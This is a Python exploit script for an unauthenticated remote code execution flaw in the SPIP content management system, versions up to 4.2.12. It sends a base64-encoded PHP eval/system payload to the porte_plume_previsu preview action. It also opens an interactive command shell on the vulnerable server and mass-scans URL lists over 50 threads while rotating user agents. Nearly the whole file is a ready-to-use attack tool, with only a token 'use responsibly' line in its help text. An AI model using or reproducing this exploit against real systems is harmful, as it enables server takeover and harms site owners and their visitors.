exploit.py

import re
import sys
import base64
import random
import requests
import concurrent.futures
import rich_click as click

from bs4 import BeautifulSoup
from alive_progress import alive_bar
from prompt_toolkit import PromptSession
from prompt_toolkit.formatted_text import HTML
from prompt_toolkit.history import InMemoryHistory
from random_user_agent.user_agent import UserAgent
from random_user_agent.params import SoftwareName, OperatingSystem

click.rich_click.USE_MARKDOWN = True
requests.packages.urllib3.disable_warnings()


class Exploit:
    def __init__(self, target_url: str, output_file: str = None) -> None:
        """
        Initialize the Exploit class with the target URL and optional output file.

        :param target_url: The URL of the target to exploit.
        :param output_file: Optional file to save the output of vulnerable URLs.
        """

        self.target_url = target_url
        self.output_file = output_file
        software_names = [SoftwareName.CHROME.value]
        operating_systems = [OperatingSystem.WINDOWS.value, OperatingSystem.LINUX.value]
        self.user_agent_rotator = UserAgent(
            software_names=software_names,
            operating_systems=operating_systems,
            limit=100,
        )
        self.timeout = 10

    def custom_print(self, message: str, header: str) -> None:
        """
        Print a custom formatted message with an emoji-based header.

        :param message: The message to print.
        :param header: The type of message ("+", "-", "!", "*") to determine the emoji.
        """

        header_mapping = {
            "+": "✅",
            "-": "❌",
            "!": "⚠️",
            "*": "ℹ️ ",
        }

        emoji = header_mapping.get(header, "❓")
        formatted_message = f"{emoji} {message}"
        click.echo(click.style(formatted_message, bold=True, fg="white"))

    def prepare_payload(self, command: str) -> str:
        """
        Prepare the payload by encoding the system command in base64 and wrapping it in a PHP eval statement.

        :param command: The system command to execute on the target.
        :return: The prepared payload as a string.
        """

        system_command = f"system('{command}');"
        encoded_command = base64.b64encode(system_command.encode("utf-8")).decode(
            "utf-8"
        )
        rand_numeric = "".join([str(random.randint(0, 9)) for _ in range(8)])
        return f"[<img{rand_numeric}>->URL`<?php eval(base64_decode('{encoded_command}')); ?>`]"

    def send_payload(self, command: str, silent: bool = False) -> requests.Response:
        """
        Send the prepared payload to the target via a POST request.

        :param command: The system command to execute.
        :param silent: If True, suppress error messages (useful for bulk scanning).
        :return: The HTTP response from the target if successful, or None if an error occurs.
        """
        try:
            payload = self.prepare_payload(command)
            headers = {"User-Agent": self.user_agent_rotator.get_random_user_agent()}
            response = requests.post(
                url=f"{self.target_url}/spip.php",
                params={"action": "porte_plume_previsu"},
                data={"data": payload},
                headers=headers,
                verify=False,
                timeout=self.timeout,
            )
            response.raise_for_status()
            return response

        except requests.RequestException as err:
            if not silent:
                self.custom_print(f"An error occurred: {err}", "-")
            return None

    def parse_response(self, response_text: str, filter_php: bool = True) -> str:
        """
        Parse the response from the target to extract the command output, with an option to filter out PHP or base64 content.

        :param response_text: The raw HTML response text from the target.
        :param filter_php: If True, filter out content containing PHP or base64 encoded data.
        :return: The parsed command output or an error message if parsing fails.
        """

        soup = BeautifulSoup(response_text, "html.parser")
        preview_div = soup.find("div", class_="preview")
        if preview_div:
            command_output = preview_div.find("a")
            if command_output:
                output_text = command_output.get_text(strip=True).split('"')[0].strip()
                if not (filter_php and re.search(r"<\?php|base64_decode", output_text)):
                    return output_text
        return "No match found in the response."

    def interactive_shell(self) -> None:
        """
        Launch an interactive shell to send and receive commands to/from the target.

        :return: None
        """

        session = PromptSession(history=InMemoryHistory())
        while True:
            cmd = session.prompt(
                HTML("<ansiyellow><b>$ </b></ansiyellow>"), default=""
            ).strip()
            if cmd.lower() == "exit":
                self.custom_print("Exiting shell...", "*")
                break
            if cmd.lower() == "clear":
                sys.stdout.write("\x1b[2J\x1b[H")
                continue

            response = self.send_payload(cmd)
            if response:
                parsed_output = self.parse_response(response.text, filter_php=False)
                if parsed_output:
                    self.custom_print(f"Result:\n{parsed_output}", "+")
                else:
                    self.custom_print(
                        "Failed to receive response from the server.", "-"
                    )
            else:
                self.custom_print("Failed to send payload.", "-")

    def scan_target(self, silent: bool = False) -> tuple[bool, str]:
        """
        Scan the target to check if it is vulnerable by sending a test command.

        :return: A tuple containing a boolean indicating if the target is vulnerable and the command output.
        """

        response = self.send_payload("whoami", silent)
        if response:
            parsed_output = self.parse_response(response.text)
            if parsed_output and "No match found in the response." not in parsed_output:
                if self.output_file:
                    with open(self.output_file, "a") as f:
                        f.write(f"{self.target_url}\n")
                return True, parsed_output
        return False, None


@click.rich_config(help_config=click.RichHelpConfiguration(use_markdown=True))
@click.command(
    help="""
        # 😈 SPIP Unauthenticated RCE Exploit 😈
             Exploits a **Remote Code Execution vulnerability** in SPIP versions up to and including **4.2.12**.  
             The vulnerability occurs in SPIP’s templating system where it **incorrectly handles user-supplied input**, allowing an attacker to inject and execute arbitrary PHP code.  
             This can be achieved by crafting a payload that manipulates the templating data processed by the `echappe_retour()` function, which invokes `traitements_previsu_php_modeles_eval()`, containing an `eval()` call.
             ## ⚠️ Use this tool responsibly.
    """
)
@click.option(
    "-u",
    "--url",
    help="🌐 The **target URL** that you want to scan and potentially exploit.",
)
@click.option(
    "-f",
    "--file",
    help="📂 File containing a **list of URLs** to scan for vulnerabilities.",
)
@click.option(
    "-t",
    "--threads",
    default=50,
    show_default=True,
    help="⚙️ The number of **threads** to use during scanning. Defaults to `50`.",
)
@click.option(
    "-o",
    "--output",
    help="💾 Specify an **output file** to save the list of vulnerable URLs.",
)
def run_exploit(url, file, threads, output):
    if not url and not file:
        click.echo(run_exploit.get_help(click.get_current_context()))
        return

    if url:
        exploit = Exploit(target_url=url, output_file=output)
        is_vulnerable, command_output = exploit.scan_target()
        if is_vulnerable:
            exploit.custom_print(f"Vulnerable: {url}", "+")
            exploit.custom_print(f"Command Output: {command_output}", "*")
            exploit.interactive_shell()

    elif file:
        urls = []
        with open(file, "r") as url_file:
            urls = [line.strip() for line in url_file if line.strip()]

        def process_url(url):
            exploit = Exploit(url, output)
            is_vulnerable, command_output = exploit.scan_target(silent=True)
            return url, is_vulnerable, command_output

        with alive_bar(len(urls), enrich_print=False) as bar:
            with concurrent.futures.ThreadPoolExecutor(max_workers=threads) as executor:
                futures = {executor.submit(process_url, url): url for url in urls}
                for future in concurrent.futures.as_completed(futures):
                    url, is_vulnerable, command_output = future.result()
                    if is_vulnerable:
                        exploit = Exploit(url, output)
                        exploit.custom_print(
                            f"Vulnerable: {url}, Command Output: {command_output}", "+"
                        )
                    bar()

    else:
        click.echo("You must specify either a single URL or a file containing URLs.")


if __name__ == "__main__":
    run_exploit()